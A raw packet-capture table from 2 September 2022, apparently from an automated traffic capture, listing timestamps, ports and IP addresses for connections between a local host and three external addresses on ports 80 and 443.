Sep 2, 2022 14:02:22.909604073 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.909763098 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.909785032 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.909801006 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.909806013 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.909833908 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.910077095 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.910098076 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.910124063 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.910129070 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.910155058 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.910363913 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.910384893 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.910401106 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.910406113 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.910470963 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.910475016 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.910773993 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.910797119 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.910836935 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.910841942 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.910872936 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.911034107 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.911057949 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.911091089 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.911096096 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.911103010 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.911366940 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.911842108 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.911871910 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.911941051 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.911946058 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.911952972 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.912312031 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.913600922 CEST	49798	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.914732933 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.919688940 CEST	80	49799	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.919786930 CEST	49799	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.936628103 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.936685085 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.936760902 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.936774969 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.936788082 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.936852932 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.937011003 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.937062979 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.937118053 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.937124014 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.937133074 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.937232971 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.937416077 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.937467098 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.937517881 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.937525034 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.937531948 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.937642097 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.937828064 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.937880039 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.937921047 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.937927961 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.937937021 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.937968016 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.938538074 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.938587904 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.938663960 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.938669920 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.938714027 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.938761950 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.938996077 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.939045906 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.939177036 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.939183950 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.939193964 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.939538956 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.939588070 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.939678907 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.939692974 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.939706087 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.940036058 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.940073967 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.940167904 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.940185070 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.940197945 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.940478086 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.940525055 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.940599918 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.940613031 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.940622091 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.941318035 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.941366911 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.941474915 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.941488028 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.941519022 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.941555977 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.941596985 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.941652060 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.941662073 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.941673040 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.942114115 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.942414045 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.942459106 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.942545891 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.942557096 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.942569017 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.942774057 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.942811966 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.942867994 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.942877054 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.942888021 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.943563938 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.943602085 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.943701982 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.943711996 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.943722963 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.943942070 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.943974972 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.944066048 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.944077969 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.944088936 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.944576025 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.944605112 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.944695950 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.944711924 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.944725037 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.944931984 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.944961071 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.945002079 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.945014954 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.945024967 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.945071936 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.945075989 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.945812941 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.945851088 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.945915937 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.945925951 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.945936918 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.946042061 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.946072102 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.946122885 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.946130037 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.946166992 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.946254015 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.946953058 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.946997881 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.947072029 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.947077990 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.947086096 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.947638988 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.947675943 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.947761059 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.947767973 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.947774887 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.948249102 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.948282957 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.948337078 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.948344946 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.948405981 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.948443890 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.949002981 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.949043036 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.949146032 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.949152946 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.949161053 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.949693918 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.949724913 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.949807882 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.949814081 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.949821949 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.949824095 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.949862957 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.950419903 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.950479984 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.950556040 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.950562954 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.950592041 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.950644016 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.950683117 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.950746059 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.950752974 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.950769901 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.950838089 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.951261044 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.951363087 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.951407909 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.951415062 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.951421976 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.951708078 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.951750994 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.951786041 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.951792002 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.951800108 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.951848984 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.951853037 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.952440023 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.952481985 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.952527046 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.952533007 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.952589035 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.952594042 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.952661991 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.952702999 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.952764034 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.952771902 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.952779055 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.952814102 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.952846050 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.952877045 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.952882051 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.952888966 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.952925920 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.953207970 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.953428984 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.953459024 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.953550100 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.953557014 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.953566074 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.953978062 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.954006910 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.954055071 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.954061985 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.954070091 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.954117060 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.954122066 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.954585075 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.954615116 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.954699993 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.954706907 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.954714060 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.955106020 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.955137968 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.955142021 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.955154896 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.955184937 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.955395937 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.955641031 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.955672026 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.955748081 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.955754995 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.955763102 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.956125021 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.956204891 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.956209898 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.956212044 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.956243038 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.956672907 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.956712961 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.956748962 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.956770897 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.956779957 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.956815958 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.956825018 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.957541943 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.957587957 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.957683086 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.957690001 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.957699060 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.957768917 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.957813978 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.957906961 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.957914114 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.957921982 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.958507061 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.958581924 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.958590031 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.958599091 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.959388018 CEST	443	49798	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.959408998 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.993351936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.993396997 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.993418932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.993447065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.993465900 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.993477106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.993499994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.993501902 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.993529081 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.993788004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.993817091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.993837118 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.993848085 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.993870020 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.994015932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.994046926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.994066954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.994088888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.994098902 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.994643927 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.994684935 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.994712114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.994739056 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.994889975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.994946957 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.994995117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.995024920 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.995043993 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.995654106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.995697975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.995724916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.995765924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.995774984 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.995804071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.995806932 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.995831013 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.995848894 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.996560097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.996625900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.996650934 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.996653080 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.996675968 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.996722937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.996767998 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.996820927 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.996846914 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.996867895 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.997112036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.997163057 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.997169971 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.997193098 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.997242928 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.997328997 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.997370005 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.997375965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.997397900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.997414112 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.997776031 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.997816086 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.997843027 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.997843981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.997878075 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.998070002 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.998111010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.998119116 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.998137951 CEST	80	49787	85.209.157.230	192.168.2.6
